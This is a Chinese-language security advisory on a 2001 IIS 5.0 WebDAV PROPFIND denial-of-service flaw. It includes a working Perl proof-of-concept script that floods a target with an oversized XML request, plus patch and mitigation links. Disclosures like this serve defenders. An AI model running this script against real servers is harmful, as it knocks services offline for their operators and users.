IIS 5.0 propfind 存在拒绝服务攻击发布时间:2001-03-19 更新时间:2001-03-19 严重程度:中 威胁程度:远程拒绝服务 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 启用WEBDAV的IISS5.0详细描述 Georgi Guninski发现IIS5如果启用了WEBDAV的就存在拒绝服务攻击,通过发送构造过的请求可以导致IIS重新启动。还会导致W2K机器消耗内存和CPU处理率。 问题发生在发送如下超长的prpfind请求: <?xml version="1.0"?> <a:propfind xmlns:a="DAV:" xmlns:u="over:"><a:prop><a:displayname /><u:<about 128008 characters>/></a:prop> </a:propfind> IIS会响应500错误代码,持续请求会导致IIS服务重新启动。 测试代码 --vv5.pl------------------------------------------------------------------------- #!/usr/bin/perl # Written by Georgi Guninski use IO::Socket; print "IIS 5.0 propfind\n"; $port = @ARGV[1]; $host = @ARGV[0]; sub vv() { $ll=$_[0]; #length of buffer $ch=$_[1]; $over=$ch x $ll; #string to overflow $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return; #$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; # ^^^^ This is another issue and also works with length ~>65000 $xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; $l=length($xml); $req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n"; syswrite($socket,$req,length($req)); print "."; $socket->read($res,300); #print "r=".$res; close $socket; } do vv(128008,"V"); # may need to change the length sleep(1); do vv(128008,"V"); print "Done.\n"; --------------------------------------------------------------------------- 解决方案 怎么不启用WebDav扩展和PROPFIND,请查看如下地址描述: http://www.microsoft.com/technet/support/kb.asp?ID=241520 补丁程序你可以到下面的地址下载: http://www.microsoft.com/technet/security/bulletin/ms01-016.asp Microsoft发布了如下的安全公告请看下面地址: http://www.microsoft.com/technet/security/bulletin/MS01-016.asp 相关信息 这个信息有Georgi Guninski(guninski@GUNINSKI.COM)提供。 |